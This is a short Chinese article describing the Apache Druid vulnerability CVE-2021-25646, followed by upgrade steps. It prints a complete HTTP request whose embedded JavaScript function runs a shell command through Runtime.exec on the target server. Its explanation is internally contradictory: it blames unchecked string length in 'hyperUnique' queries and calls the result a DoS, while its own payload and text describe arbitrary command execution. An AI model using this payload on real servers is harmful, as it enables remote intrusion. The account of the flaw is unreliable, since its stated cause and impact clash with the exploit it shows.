一、漏洞概述
Apache Druid是一款由Apache组织开发的分布式数据存储和分析系统。近期,Druid所存在的一个漏洞引发了安全界的广泛关注。目前已被标记为CVE-2021-25646。
CVE-2021-25646漏洞是由于Druid没有正确地限制攻击者在“hyperUnique”查询中使用的字符串长度而导致的。当执行hyperUnique查询时,攻击者可以通过提交包含格式化的JSON数据的HTTP请求来利用此漏洞。攻击者可以利用此漏洞在目标服务器上进行DoS攻击,甚至导致服务器崩溃。
二、漏洞利用过程
攻击者可以通过提交POST请求来利用该漏洞。以下是一个例子:
POST /druid/v2/?pretty HTTP/1.1
Host: druid.example.com
Content-Type: application/json
{
"queryType" : "groupBy",
"dataSource" : "test",
"granularity" : "all",
"dimensions" : ["{ \\"type\\": \\"extraction\\", \\"extractionFn\\": { \\"type\\": \\"javascript\\", \\"function\\": \\"function(x) { java.lang.Runtime.getRuntime().exec(\\'touch /tmp/owned\\'); return \\'xd\\'; }\\", \\"injective\\":false }, \\"dimension\\":\\"foo\\", \\"outputName\\":\\"bar\\" }"],
"aggregations" : [ {
"type" : "hyperUnique",
"name" : "a",
"fieldName" : "a"
} ],
"intervals" : ["1900/3000"],
"filter" : {
"type" : "bound",
"dimension" : "foo",
"lower" : "1",
"upper" : "2",
"alphaNumeric" : false,
"lowerStrict" : false,
"upperStrict" : false,
"ordering" : "numeric"
},
"having" : {
"type" : "equalTo",
"aggregation" : "a",
"value" : "1"
},
"limitSpec" : {
"type" : "default"
},
"context" : {
"skipEmptyBuckets" : true,
"sqlQueryId" : "abcd1234"
}
}
上面的请求向Druid发送一条用于计算“hyperUnique”的查询。该查询中包含了一个JavaScript函数,攻击者可以利用这个函数来执行任意的命令。因为Druid没有检查该函数的大小,攻击者可以提交超长的函数字符串来占用服务器资源。
三、漏洞危害
根据官方估计,这个漏洞可能导致服务器遭受DoS(拒绝服务)攻击。攻击者可以使用此漏洞来让服务器崩溃,从而瘫痪整个在线业务系统,导致业务系统不可用。
四、修复方法
Apache官方已经发布了修复此漏洞的版本。管理员应该尽快更新Druid到最新的版本。具体操作方法可以参考如下步骤:
1. 下载最新的Druid安装包
curl -O https://downloads.apache.org/druid/0.20.2/apache-druid-0.20.2-incubating-bin.tar.gz
2. 解压安装包
tar -xvzf apache-druid-0.20.2-incubating-bin.tar.gz
3. 将Druid的新版本部署到服务器并重新启动Druid的服务
cp -r apache-druid-0.20.2-incubating /usr/local/druid
/etc/init.d/druid start
五、总结
Apache Druid是广受欢迎的一款数据存储和分析系统,但如果不及时修复漏洞,将会面临严重的安全问题。管理员需要注意Apache Druid的安全问题并及时升级,以免被攻击者利用此漏洞造成损失。